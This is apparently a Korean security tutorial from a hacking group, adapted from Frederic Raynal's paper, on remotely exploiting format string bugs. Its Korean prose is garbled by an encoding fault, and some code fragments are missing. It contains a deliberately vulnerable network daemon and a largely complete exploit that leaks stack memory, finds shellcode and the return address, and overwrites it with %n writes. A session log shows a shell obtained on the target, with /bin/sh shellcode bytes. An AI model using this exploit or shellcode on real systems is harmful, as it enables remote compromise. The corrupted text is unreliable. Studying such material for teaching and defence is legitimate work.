¿ø°Ý ¹× ÀÚµ¿ Æ÷¸Ë ¹ö±× °ø°Ý Edited by vangelis (progressfree@hotmail.com) Wowcode Team of wowhacker.org <¿ä¾à> ÀÌ ¹®¼­´Â Frederic RaynalÀÇ ¹®¼­¸¦ Á¤¸®ÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô... °øºÎ´Â ¿­½ÉÈ÷... ¼¼ºÎ»çÇ× 1. Ãë¾àÇÑ ¼­¹öÀÇ Á¶°Ç ·Î±×ÀÎ ¹× Æнº¿öµå ÀÎÁõÀ» ¿äÇϸç, ÀÔ·Â °ªÀ» echo ÇÑ´Ù. ÄÚµå´Â ´ÙÀ½°ú °°´Ù. fmtd.c ____________________________________________________________________________________________________________ #include #include #include #include #include #include void respond(char *fmt,...); int vul(void) { char tmp[1024]; char buf[1024]; int len = 0; syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf); while(1) { memset(buf, 0, sizeof(buf)); memset(tmp, 0, sizeof(tmp)); if ( (len = read(0, buf, sizeof(buf))) <= 0 ) { syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)", buf, len); exit(-1); } /* else syslog(LOG_INFO, "vul() -> read %d bytes", len); */ if (!strncmp(buf, "quit", 4)) { respond("bye bye ...\n"); return 0; } snprintf(tmp, sizeof(tmp)-1, buf); respond("%s", tmp); } } void respond(char *fmt,...) { va_list va; char buf[1024]; int len = 0; va_start(va,fmt); vsnprintf(buf,sizeof(buf),fmt,va); va_end(va); len = write(STDOUT_FILENO,buf,strlen(buf)); /* syslog(LOG_INFO, "respond() -> write %d bytes", len); */ } int main() { struct sockaddr_in sin; int i,len = sizeof(struct sockaddr_in); char login[16]; char passwd[1024]; openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0); /* get login */ memset(login, 0, sizeof(login)); respond("login: "); if ( (len = read(0, login, sizeof(login))) <= 0 ) { syslog(LOG_ERR, "login -> error while reading login [%s] (%d)", login, len); exit(-1); } else syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len); /* get passwd */ memset(passwd, 0, sizeof(passwd)); respond("password: "); if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) { syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)", passwd, len); exit(-1); } else syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len); /* let's run ... */ vul(); return 0; } _________________________________________________________________________________________________ À§ÀÇ ¼­¹ö¸¦ ¼³Ä¡Çϱâ À§ÇØ 12345 Æ÷Æ®¿¡ ¿¬°áÀÌ µÇµµ·Ï Çϱâ À§ÇØ inetd¸¦ ¼³Á¤ÇØ¾ß ÇÑ´Ù. # /etc/inetd.conf 12345 stream tcp nowait raynal /home/raynal/MISC/2-MISC/RemoteFMT/fmtd ¶Ç´Â xinetdÀÇ °æ¿ì: # /etc/xinetd.conf service fmtd { type = UNLISTED user = raynal group = users socket_type = stream protocol = tcp wait = no server = /tmp/fmtd port = 12345 only_from = 192.168.1.1 192.168.1.2 127.0.0.1 } ÀÌÁ¦ ¼­¹ö¸¦ ´Ù½Ã ½ÃÀÛ ½ÃÅ°°í, ¹æÈ­º®À» ¼³Ä¡ÇØ µ¹¸®°í ÀÖ´Ù¸é ¹æÈ­º® ±ÔÄ¢À» Á¶Á¤ÇØ¾ß ÇÑ´Ù. ÀÌÁ¦ ÀÌ ¼­¹ö°¡ ¾î¶»°Ô ÀÛµ¿ÇÏ´ÂÁö º¸ÀÚ. $ telnet bosley 12345 Trying 192.168.1.2... Connected to bosley. Escape character is '^]'. login: raynal password: secret hello world hello world ^] telnet> quit Connection closed. ·Î±× ÆÄÀÏÀ» »ìÆì º¸ÀÚ. Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0) Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255 ¾ÕÀÇ ¿¹¿¡¼­ ¿ì¸®´Â ´Ü¼øÈ÷ ·Î±×ÀÎ, Æнº¿öµå, ±×¸®°í ¿¬°áÀ» ²÷±â Àü¿¡ hello world¸¦ ÀÔ·ÂÇß´Ù. ÇÏÁö¸¸ Æ÷¸Ë ¸í·ÉÀ» ¼­¹ö¿¡ ÀÔ·ÂÇÏ¸é ¾î¶»°Ô µÉ±î. telnet bosley 12345 Trying 192.168.1.2... Connected to bosley. Escape character is '^]'. login: raynal password: secret %x %x %x %x d 25207825 78252078 d782520 "%x %x %x %x" ¸í·ÉÀ» ½ÇÇàÇßÀ» ¶§ ¼­¹ö°¡ Æ÷¸Ë ¹ö±×¿¡ Ãë¾àÇÏ´Ù´Â °ÍÀ» º¸¿©ÁØ´Ù. ¼Ò½º¸¦ º¸¸é ¹®Á¦°¡ vul() ÇÔ¼ö·ÎºÎÅÍ ³ª¿Â´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ... snprintf(tmp, sizeof(tmp)-1, buf); ... ¹öÆÛ ¸¦ Á÷Á¢ÀûÀ¸·Î ¾ÇÀÇÀûÀÎ »ç¿ëÀÚ°¡ ÀÌ¿ëÇÒ ¼ö ÀÖÀ¸¹Ç·Î, ÈÄÀÚ´Â ¼­¹ö¸¦ ÅëÁ¦ÇÒ ¼ö ÀÖ´Ù. ±×·¡ ¼­ ¼­¹ö ±ÇÇÑÀ¸·Î ½©À» ȹµæÇÏ°Ô µÈ´Ù. 2. ÇÊ¿ä ¿ä¼Òµé ·ÎÄà Æ÷¸Ë ¹ö±×¿Í °°Àº ¿ä¼ÒµéÀÌ ¿©±â¼­µµ ÇÊ¿äÇÏ´Ù. * ¹öÆÛÀÇ ½ÃÀÛ ºÎºÐ¿¡ µµ´ÞÇÒ offset * ¼­¹öÀÇ ¸Þ¸ð¸® ¾îµò°¡¿¡ À§Ä¡ÇÑ ½©ÄÚµåÀÇ ÁÖ¼Ò * Ãë¾àÇÑ ¹öÆÛÀÇ ÁÖ¼Ò * ¸®ÅÏ ¾îµå·¹½º ´ÙÀ½Àº À§ÀÇ Ãë¾àÇÑ ¼­¹ö¸¦ °ø·«ÇÏ´Â exploitÀÌ´Ù. expl-fmtd.c ____________________________________________________________________________________________________________ #include #include #include #include #include #include #include #include #include char verbose = 0, debug = 0; #define OCT( b0, b1, b2, b3, addr, str ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ if ( b0 * b1 * b2 * b3 == 0 ) { \ printf( "\n%s contains a NUL byte. Leaving...\n", str ); \ exit( EXIT_FAILURE ); \ } \ } #define MAX_FMT_LENGTH 128 #define ADD 0x100 #define FOURsizeof( size_t ) * 4 #define TWO sizeof( size_t ) * 2 #define BANNER "uname -a ; id" #define MAX_OFFSET 255 int interact(int sock) { fd_set fds; ssize_t ssize; char buffer[1024]; write(sock, BANNER"\n", sizeof(BANNER)); while (1) { FD_ZERO(&fds); FD_SET(STDIN_FILENO, &fds); FD_SET(sock, &fds); select(sock + 1, &fds, NULL, NULL, NULL); if (FD_ISSET(STDIN_FILENO, &fds)) { ssize = read(STDIN_FILENO, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(sock, buffer, ssize); } if (FD_ISSET(sock, &fds)) { ssize = read(sock, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(STDOUT_FILENO, buffer, ssize); } } return(-1); } u_long resolve(char *host) { struct hostent *he; u_long ret; if(!(he = gethostbyname(host))) { herror("gethostbyname()"); exit(-1); } memcpy(&ret, he->h_addr, sizeof(he->h_addr)); return ret; } int build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base) { unsigned char b0, b1, b2, b3; unsigned int high, low; int start = ((base / (ADD * ADD)) + 1) * ADD * ADD; int sz; /* : where to overwrite */ OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]"); sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */ "%c%c%c%c"/* + 1 for the ending \0 */ "%c%c%c%c", b3, b2, b1, b0, b3 + 2, b2, b1, b0); /* where is our shellcode? */ OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]"); high = (retaddr & 0xffff0000) >> 16; low = retaddr & 0x0000ffff; return snprintf(buf + sz, MAX_FMT_LENGTH, "%%.%hdx%%%d$n%%.%hdx%%%d$hn", low - TWO + start - base, offset, high - low + start, offset + 1); } void get_addr_as_char(u_int addr, char *buf) { *(u_int*)buf = addr; if (!buf[0]) buf[0]++; if (!buf[1]) buf[1]++; if (!buf[2]) buf[2]++; if (!buf[3]) buf[3]++; } int get_offset(int sock) { int i, offset = -1, len; char fmt[128], buf[128]; for (i = 1; i 0 && (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) { if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len); /* the shellcode */ if ((ptr = strstr(buf, shellcode))) { addr_shellcode = read_at + (ptr-buf) - 4; fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len); fprintf(stderr, "buf = (%d)\n", len); for (i=0; i$x" ¹®ÀÚ¿­À» º¸³½´Ù. ¸¸¾à offsetÀÌ ÀÌ¸é ¼­¹ö´Â ¹®ÀÚ¿­ "AAAA41414141"·Î ÀÀ´äÇÑ´Ù. #define MAXOFFSET 255 for (i = 1; i%$s exploit¿¡¼­´Â µÎ ´Ü°è·Î ½ÇÇàµÈ´Ù. 1. ÇÔ¼ö get_addr_as_char(u_int addr, char *buf)Àº addrÀ» char·Î º¯È¯ÇÑ´Ù: *(u_int*)buf = addr; 2. ±×·± ´ÙÀ½, ´ÙÀ½ 4¹ÙÀÌÆ®´Â Æ÷¸Ë ¸í·ÉÀ» Æ÷ÇÔÇÏ°í ÀÖ´Ù. ±×·± ´ÙÀ½ Æ÷¸Ë ½ºÆ®¸µÀº ¿ø°Ý ¼­¹ö·Î º¸³» Áø´Ù: get_addr_as_char(read_at, fmt); snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset); write(sd, fmt, strlen(fmt)); Ŭ¶óÀ̾ðÆ®´Â ¿¡¼­ ÇϳªÀÇ ¹®ÀÚ¿­À» Àд´Ù. ¸¸¾à¿¡ ±×°ÍÀÌ ½©Äڵ带 Æ÷ÇÔÇÏ°í ÀÖÁö ¾Ê´Ù¸é ´ÙÀ½ Àбâ´Â °°Àº ÁÖ¼Ò¿¡¼­ ½ÇÇàµÇ¸ç, ±×°Í¿¡ Àб⠹ÙÀÌÆ®ÀÇ ¾çÀ» Ãß°¡ÇÑ´Ù.(¿¹¸¦ µé¾î, read()ÀÇ ¸®ÅÏ °ª) ÇÏÁö¸¸, ¸ðµç Àб⠹®ÀÚµéÀº °í·ÁµÇ¾î¼­´Â ¾ÈµÈ´Ù. ¼­¹öÀÇ Ãë¾àÇÑ ¸í·ÉÀº ´ÙÀ½°ú °°´Ù. sprintf(out, in); ¿ÜºÎ ¹öÆÛ¸¦ ¸¸µé±â À§ÇØ sprintf()´Â ¹®ÀÚ¿­À» ÆĽÌÇϸ鼭 ½ÃÀ۵ȴÙ. ù 4¹ÙÀÌÆ®´Â ¿ì¸®°¡ ÀÐÀ¸·Á °í ÀǵµÇÏ´Â ÁÖ¼ÒÀÌ´Ù. ±× 4¹ÙÀÌÆ®´Â Ãâ·Â ¹öÆÛ·Î ´Ü¼øÈ÷ º¹»çµÈ´Ù. ±×·± ´ÙÀ½ Æ÷¸Ë ¸í·ÉÀÌ ¸¸³ª°Ô µÇ°í, Çؼ®µÈ´Ù. ±×·¯¹Ç·Î, ¿ì¸®´Â ÀÌ 4¹ÙÀÌÆ®¸¦ Á¦°ÅÇØ¾ß ÇÑ´Ù. while( (len = read(sd, buf, sizeof(buf))) > 0) { [ ... ] read_at += (len-4+1); [ ... ] } ¹«¾ùÀ» ãÀ» °ÍÀΰ¡? ¶Ç ´Ù¸¥ ¹®Á¦´Â ¸Þ¸ð¸®¿¡¼­ ¡®½©Äڵ带 ¾î¶»°Ô È®ÀÎÇÒ °ÍÀΰ¡¡¯ÀÌ´Ù. ¸¸¾à ´ÜÁö ¿ø°Ý ¸Þ¸ð¸®ÀÇ ¸ðµç ¹ÙÀÌÆ® ¸¦ ã´Â´Ù¸é ±×°ÍÀ» ³õÄ¥ À§ÇèÀÌ ÀÖ´Ù. ¹öÆÛ°¡ NULL ¹ÙÀÌÆ®·Î ³¡³ª±â ¶§¹®¿¡ ¹Ù·Î ¾Õ¿¡ À§Ä¡ÇÑ ¹®ÀÚ¿­ Àº ¸¹Àº NOPÀ» Æ÷ÇÔÇÒ ¼ö ÀÖ´Ù. ±×·¡¼­ ½©Äڵ带 Àд °ÍÀº µÎ ¹øÀÇ Àбâ·Î ÂÉ°³Áú ¼ö ÀÖ´Ù. ÀÌ°ÍÀ» ÇÇÇϱâ À§ÇØ, ¸¸¾à Àб⠹®ÀÚµéÀÇ ¾çÀÌ ¹öÆÛÀÇ Å©±â¿Í µ¿ÀÏÇÏ´Ù¸é exploit´Â ¼­¹ö·ÎºÎÅÍ ¸¶Áö¸· sizeof(shellcode) ¹ÙÀÌÆ®¸¦ Àؾî¹ö¸°´Ù. ±×·¡¼­ ´ÙÀ½ Àбâ´Â ´ÙÀ½¿¡¼­ ½ÇÇàµÈ´Ù: while( (len = read(sd, buf, sizeof(buf))) > 0) { [ ... ] read_at += len; if (len == sizeof(buf)) read_at-=strlen(shellcode); [ ... ] } ½©ÄÚµåÀÇ Á¤È®ÇÑ ÁÖ¼Ò ÃßÃøÇϱ⠹®ÀÚ¿­¿¡¼­ ÆÐÅÏÀ» ÀÏÄ¡½ÃÅ°´Â °ÍÀº ´ÙÀ½ ÇÔ¼ö¿¡ ÀÇÇØ ½ÇÇàµÈ´Ù: ptr = strstr(buf, pattern); Ž»öµÈ ÆÐÅÏÀÇ Ã¹ ¹ÙÀÌÆ®¸¦ ÆÄ½ÌµÈ ¹®ÀÚ¿­ ¾îµå·¹½Ì¿¡ ´ëÇÑ Æ÷ÀÎÅ͸¦ ¸®ÅÏÇÑ´Ù. ±×·¡¼­ ½©ÄÚµåÀÇ À§Ä¡´Â ´ÙÀ½°ú °°´Ù: addr_shellcode = read_at + (ptr-buf); ¾Õ¿¡¼­µµ º¸¾ÒµíÀÌ ½ºÅÃÀ» Ž»öÇÏ´Â µ¿¾È Ãâ·ÂµÈ ¹öÆÛÀÇ Ã¹ 4¹ÙÀÌÆ®´Â »ç½Ç ¿ì¸®°¡ ´ÙÀ½¿¡¼­ ÀÐÀº ÁÖ¼Ò ÀÌ´Ù: addr_shellcode = read_at + (ptr-buf) - 4; ½©ÄÚµå: ¿ä¾à °¡²û Äڵ尡 ±ä ¼³¸íº¸´Ù ´õ °¡Ä¡ ÀÖÀ» ¼ö ÀÖ´Ù: while( (len = read(sd, buf, sizeof(buf))) > 0) { if ((ptr = strstr(buf, shellcode))) { addr_shellcode = read_at + (ptr-buf) - 4; break; } read_at += (len-4+1); if (len == sizeof(buf)) { read_at-=strlen(shellcode); } memset (buf, 0x0, sizeof (buf)); get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } 2.3 ¸®ÅÏ ¾îµå·¹½º ÃßÃøÇϱ⠸¶Áö¸·À¸·Î È®ÀÎÇØ¾ß ÇÒ ¸¶Áö¸· ÀÎÀÚ´Â ¸®ÅÏ ¾îµå·¹½ºÀÌ´Ù. ¿ì¸®´Â ½©ÄÚµåÀÇ Çϳª·Î ½ºÅÃÀ» µ¤¾î¾²±â À§ ÇØ ¿ø°Ý ÇÁ·Î¼¼½º ½ºÅÃÀÇ À¯È¿ÇÑ ÁÖ¼Ò¸¦ ã¾Æ³¾ ÇÊ¿ä°¡ ÀÖ´Ù. ¿©±â¼­´Â ¾î¶»°Ô ÇÔ¼öµéÀÌ C¿¡¼­ È£ÃâµÇ´ÂÁö ¼³¸íÀº ÇÏÁö ¾ÊÀ» °ÍÀÌ´Ù. ´ë½Å ¾î¶»°Ô º¯¼ö¿Í ÆĶó¹ÌÅ͵é ÀÌ ½ºÅÿ¡ À§Ä¡ÇØ ÀÖ´ÂÁö °£´ÜÈ÷ »ó±â¸¸ ÇÒ °ÍÀÌ´Ù. ¸ÕÀú, ÀÎÀÚµéÀÌ ½ºÅÿ¡¼­ ¸¶Áö¸·¿¡¼­ºÎÅÍ Ã¹¹ø°(°¡ Àå ³·Àº °÷)±îÁö À§Ä¡ÇØ ÀÖ´Ù. ±×¸®°í ¸í·É ·¹Áö½ºÅÍ(%eip)°¡ ½ºÅÿ¡ ÀúÀåµÇ°í, base pointer ·¹Áö½ºÅÍ (%ebp)°¡ µÚµû¶ó ¿À°í, ±×°ÍÀº ÇöÀç ÇÔ¼ö¿¡ ´ëÇÑ ¸Þ¸ð¸®ÀÇ ½ÃÀÛ ºÎºÐÀ» °¡¸®Å²´Ù. ÀÌ ÁÖ¼Ò ´ÙÀ½¿¡ ¸Þ¸ð ¸®°¡ ·ÎÄà º¯¼ö¸¦ À§ÇØ »ç¿ëµÈ´Ù. ±× ÇÔ¼ö°¡ ³¡ÀÌ ³ª¸é %eip°¡ pop µÇ°í, ½ºÅÃÀÌ ±ú²ýÇØÁø´Ù. ÀÌ°ÍÀº ´ÜÁö %esp¿Í %ebp ·¹Áö½ºÅÍ°¡ ÇÔ¼ö È£Ãâ¿¡ µû¶ó pop µÈ´Ù´Â °Í¸¸À» ÀǹÌÇÑ´Ù. ½ºÅÃÀº ¾î¶² ½ÄÀ¸·Îµç ±ú²ýÇØÁöÁö ¾Ê´Â´Ù. ±×·¡¼­, ¿ì¸®ÀÇ ¸ñÇ¥´Â %eip°¡ ÀúÀåµÇ´Â °÷À» ã´Â °ÍÀÌ´Ù. ¿©±â¿¡´Â µÎ ´Ü°è°¡ »ç¿ëµÈ´Ù: 1. ÀÔ·ÂµÈ ¹öÆÛÀÇ ÁÖ¼Ò¸¦ ã´Â´Ù. 2. Ãë¾àÇÑ ¹öÆÛ°¡ ¼ÓÇÑ ÇÔ¼öÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ ã´Â´Ù. ¿Ö ¿ì¸®´Â ¹öÆÛÀÇ ÁÖ¼Ò¸¦ ãÀ» ÇÊ¿ä°¡ Àִ°¡? ½ºÅÿ¡¼­ ãÀ» ¼ö ÀÖ´Â ¸ðµç ½Ö(ÀúÀåµÈ ebp, eip)ÀÌ ¿ì¸® ÀÇ ¸ñÀûÀ» À§ÇØ ÁÁÀº °ÍÀº ¾Æ´Ï´Ù. ½ºÅÃÀº ´Ù¸¥ È£Ãâ »çÀÌ¿¡ ½ÇÁ¦·Î Ŭ¸°¾÷ µÇÁö´Â ¾Ê´Â´Ù. ±×·¯¹Ç·Î, ±× °ÍµéÀÌ ±× ÇÁ·Î¼¼½º¿¡ ÀÇÇØ ½ÇÁ¦·Î »ç¿ëµÇÁö ¾Ê´Â´Ù ÇÒÁö¶óµµ ÀÌÀü È£ÃâÀ» À§ÇØ »ç¿ëµÇ¾ú´ø °ªÀ» Æ÷ÇÔÇÏ °í ÀÖ´Ù. ±×·¡¼­ Ãë¾àÇÑ ¹öÆÛÀÇ ÁÖ¼Ò¸¦ óÀ½¿¡ ÃßÃøÇÏ´Â °Í¿¡ ÀÇÇØ ¿ì¸®´Â ¸ðµç ½Ö(ÀúÀåµÈ ebp, eip)ÀÌ À¯È¿ÇÑ Æ÷ ÀÎÅ͸¦ °¡Áö°Ô µÈ´Ù. ¿Ö³ÄÇϸé Ãë¾àÇÑ ¹öÆÛ´Â ½ºÅÃÀÇ ²À´ë±â¿¡ Àֱ⠶§¹®ÀÌ´Ù. ¹öÆÛÀÇ ÁÖ¼Ò ÃßÃøÇϱâ ÀÔ·ÂµÈ ¹öÆÛ´Â ¿ø°Ý ¸Þ¸ð¸®¿¡¼­ ½±°Ô È®ÀεȴÙ. ±×°ÍÀº ¿ì¸®°¡ ÀÔ·ÂÇÏ´Â ±ÛÀڵ鿡 ´ëÇÑ ¹Ì·¯ÀÌ´Ù. ¼­¹ö fmtd´Â ¾î¶² º¯°æµµ ¾øÀÌ ±×°ÍµéÀº º¹»çÇÑ´Ù. ±×·¯¹Ç·Î ¿ì¸®´Â ¼­¹öÀÇ ¸Þ¸ð¸®¿¡ ÀÖ´Â ¿ì¸®ÀÇ Æ÷¸Ë ½ºÆ® ¸µÀÇ Á¤È®ÇÑ º¹»ç¸¦ »ìÆ캸¾Æ¾ß ÇÑ´Ù. while((len = read(sd, buf, sizeof(buf))) > 0) { if ((ptr = strstr(buf, fmt))) { addr_buffer = read_at + (ptr-buf) - 4; break; } read_at += (len-4+1); memset (buf, 0x0, sizeof (buf)); get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } ¸®ÅÏ ¾îµå·¹½º ÃßÃøÇϱ⠴ëºÎºÐÀÇ ¸®´ª½º ¹èÆ÷º»ÀÇ °æ¿ì ½ºÅÃÀÇ ²À´ë±â´Â 0xc0000000¿¡ ÀÖ´Ù. ÇÏÁö¸¸ Ä®µ¥¶óÀÇ °æ¿ì 0x80000000¿¡ ÀÖ´Ù. ÀúÀåµÈ °ø°£Àº ÇÁ·Î±×·¥ÀÇ ÇÊ¿ä¿¡ ´Þ·Á ÀÖÀ¸¸ç, ÁÖ·Î ·ÎÄà º¯¼ö¿¡ ÀÇÇØ °áÁ¤µÈ´Ù. À̰͵éÀº º¸Åë 0xbfffXXXXÀÇ ¹üÀ§ ³»¿¡ À§Ä¡Çϴµ¥, ¿©±â¼­ XX´Â È®ÀεÇÁö ¾ÊÀº ¹ÙÀÌÆ®ÀÌ´Ù. ¹Ý´ë·Î, ÇÁ ·Î¼¼½ºÀÇ ¸í·É¾î(.text ¼½¼Ç)Àº 0x08048000·ÎºÎÅÍ ·ÎµùµÈ´Ù. ±×·¯¹Ç·Î ¿ì¸®´Â ´ÙÀ½°ú °°ÀÌ »ý±ä ¾î¶² °ÍÀ» ã±â À§ÇØ ¿ø°Ý ½ºÅÃÀ» Àоî¾ß ÇÑ´Ù. ½ºÅÃÀÇ ²À´ë±â 0x0804XXXX 0xbfffXXXX ÀÌ°ÍÀº ½ºÆ®¸µ 0xff 0xbf XX XX 0x04 0x08¸¦ ã´Â °Í°ú µ¿ÀÏÇÏ´Ù. ¿ì¸®°¡ ¾Õ¿¡¼­ º¸¾ÒµíÀÌ ¿ì¸®´Â ¸®ÅÏ µÈ ¹®ÀÚ¿­ÀÇ Ã¹ 4¹ÙÀÌÆ®¸¦ °í·ÁÇÒ ÇÊ¿ä´Â ¾ø´Ù. i = 4; while (i´Â ¾ÆÁÖ º¹ÀâÇÑ °ø½ÄÀ¸·Î ÃʱâÈ­µÈ´Ù. * addr_ret: ¹æ±Ý ÀÐÀº ¾îµå·¹½º * +i: ¿ì¸®°¡ ã°í ÀÖ´Â ¹®ÀÚ¿­ÀÇ offset(¿ì¸®´Â strstr()À» »ç¿ëÇÒ ¼ö ¾ø´Ù. ¿Ö³ÄÇÏ¸é ¿ì¸®ÀÇ ÆÐÅÏÀº ¿ÍÀÏ µåÄ«µå¸¦ °¡Áö°í Àֱ⠶§¹®ÀÌ´Ù. . Á¤ÀǵÇÁö ¾ÊÀº ¹ÙÀÌÆ® XX). * -2: ¿ì¸®°¡ ½ºÅÿ¡¼­ ¹ß°ßÇÑ Ã¹ ¹ÙÀÌÆ®´Â ff bfÀÌÁö¸¸, Àüü word(¿¹¸¦ µé¾î ÀúÀåµÈ %ebp)´Â 4¹ÙÀÌÆ® ·Î ¾²¿©Áø´Ù. .2´Â ¿öµå XX XX ff bfÀÇ ½ÃÀÛ ºÎºÐ¿¡ À§Ä¡ÇÑ 2 ¡°ÃÖ¼Ò ¹ÙÀÌÆ®¡±¿¡ ´ëÇÑ °ÍÀÌ´Ù. * +4: ÀÌ º¯°æÀº ÀúÀåµÈ %ebp À§ÀÇ 4 ¹ÙÀÌÆ®ÀÎ ¸®ÅÏ ¾îµå·¹½º ¶§¹®ÀÌ´Ù. * -4: Àбâ ÁÖ¼ÒÀÇ º¹»çº»ÀΠù 4¹ÙÀÌÆ®ÀÌ´Ù. 3. °ø°Ý ¿ì¸®´Â ÀÌÁ¦ ÇÊ¿äÇÑ ¸ðµç ¿ä¼Ò¸¦ °®Ãß°í ÀÖ¾î °ø°Ý ±× ÀÚü´Â ÀÌÁ¦ ¾î·ÆÁö´Â ¾Ê´Ù. ¿ì¸®´Â ½©ÄÚµå (addr_shellcode) ÁßÀÇ Çϳª·Î Ãë¾àÇÑ ÇÔ¼öÀÇ ¸®ÅÏ ¾îµå·¹½º(addr_ret)¸¦ ´ëüÇØ¾ß ÇÑ´Ù. ÇÔ¼ö fmtbuilder ´Â F.Raynal°ú S. DraletÀÇ ¡°fmtbuilder-howto¡±·ÎºÎÅÍ °¡Áö°í ¿ÔÀ¸¸ç, ¼­¹ö¿¡ º¸³»Áö´Â Æ÷¸Ë ½ºÆ®¸µÀ» ¸¸ µå´Âµ¥ »ç¿ëµÈ´Ù: build_hn(buf, addr_ret, addr_shellcode, offset, 0); write(sd, buf, strlen(buf)); ÀÏ´Ü ´ëüµÈ ¸®ÅÏ ¾îµå·¹½º°¡ ¿ø°Ý ½ºÅÿ¡¼­ ½ÇÇàµÇ¸é vul() ÇÔ¼ö·ÎºÎÅÍ ¸®ÅÏÇØ¾ß ÇÑ´Ù. ±×¶§ ¿ì¸®´Â ¡°quit¡± ¸í·ÉÀ» º¸³½´Ù. strcpy(buf, "quit"); write(sd, buf, strlen(buf)); ¸¶Áö¸·À¸·Î, ÇÔ¼ö interact()´Â ȹµæÇÑ ½©À» »ç¿ëÇÒ ¼ö ÀÖµµ·Ï ÆÄÀÏ ±â¼úÀÚ¸¦ ÀÌ¿ëÇÑ´Ù. ´ÙÀ½ º¸±â¿¡¼­, exploit´Â bosley·ÎºÎÅÍ charly·Î ½ÃÀ۵ȴÙ: $ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01 Using IP 192.168.1.1 Connected to 192.168.1.1 login sent [toto] (4) passwd (shellcode) sent (10) [Found offset = 6] [buffer addr is: 0xbfffede0 (12) ] buf = (12) e0 ed ff bf e0 ed ff bf 25 36 24 73 [shell addr is: 0xbffff5f0 (60) ] buf = (60) e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 [ret addr is: 0xbffff5ec (60) ] Building format string ... Sending the quit ... bye bye ... Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown uid=500(raynal) gid=100(users) exit $ 4. °á·Ð ¿ì¸®°¡ ¿©Å º¸¾ÒµíÀÌ, ÀÚµ¿È­´Â ±×·¸°Ô ¾î·ÆÁö´Â ¾Ê´Ù. ¶óÀ̺귯¸® fmtbuilder(¾Æ·¡ Âü°í¹®ÇåÀ» Âü°íÇÒ °Í) ¶ÇÇÑ ±×°ÍÀ» À§ÇÑ ÇÊ¿äÇÑ ÅøµéÀ» Á¦°øÇÑ´Ù. ¿©±â¼­, exploit´Â ¿ø°Ý ¸Þ¸ð¸® Àб⸦ ÀÓÀÇÀÇ °ª±îÁö ½ÃÀÛÇÑ´Ù. ÇÏÁö¸¸, ¸¸¾à ±×°ÍÀÌ ³Ê¹« ³·´Ù¸é ¼­¹ö´Â ´Ù¿îµÈ´Ù. exploit´Â ²À´ë±â·ÎºÎÅÍ ¹Ù´Ú±îÁö ½ºÅÃÀ» ŽÇèÇϱâ À§ÇØ º¯°æµÉ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ¾î¶² °ªÀ» È® ÀÎÇϱâ À§ÇØ »ç¿ëµÇ´Â Àü·«Àº ¾à°£ ¼öÁ¤µÇ¾î¾ß ÇÑ´Ù. Àбâ´Â ½ºÅÃÀÇ ²À´ë±â 0xc0000000-4·ÎºÎÅÍ ½ÃÀ۵ȴÙ. ¿ì¸®´Â º¯¼ö addr_stackÀÇ °ªÀ» º¯°æÇØ¾ß ÇÑ´Ù. ´õ¿íÀÌ, read_at+=(len-4+1); ¶óÀÎÀº read_at-=4·Î ´ëüµÇ¾î¾ß ÇÑ´Ù. ÀÌ¿Í °°ÀÌ ÀÎÀÚ .a´Â ¾µ¸ð ¾ø´Ù. ÀÌ ÇØ°áÃ¥ÀÇ ´ÜÁ¡Àº ¸®ÅÏ ¾îµå·¹½º°¡ ÀÔ·Â ¹öÆÛ ¾Æ·¡ ÀÖ´Ù´Â °ÍÀÌ´Ù. ÇÏÁö¸¸, ÀÌ ¹öÆÛ ¾Æ·¡¿¡ ÀÖ´Â ¸ðµç °ÍÀº ½ºÅÿ¡ ´õ ÀÌ»ó ¾ø´Â ÇÔ¼ö·ÎºÎÅÍ ³ª¿Â´Ù. ÀÌ µ¥ÀÌÅÍ´Â ½ºÅÃÀ¸·ÎºÎÅÍ ÀÚÀ¯·Î¿î ¿µ¿ª¿¡¼­ ¾²¿©Áø´Ù. ±×·¡¼­ ÇÁ·Î¼¼½º¿¡ ÀÇÇØ ¾ðÁ¦¶óµµ º¯°æµÉ ¼ö ÀÖ´Ù. ±×·¯¹Ç·Î, ¸®ÅÏ ¾îµå·¹½º¸¦ ã´Â °ÍÀº º¯°æµÇ¾î¾ß ÇÑ ´Ù.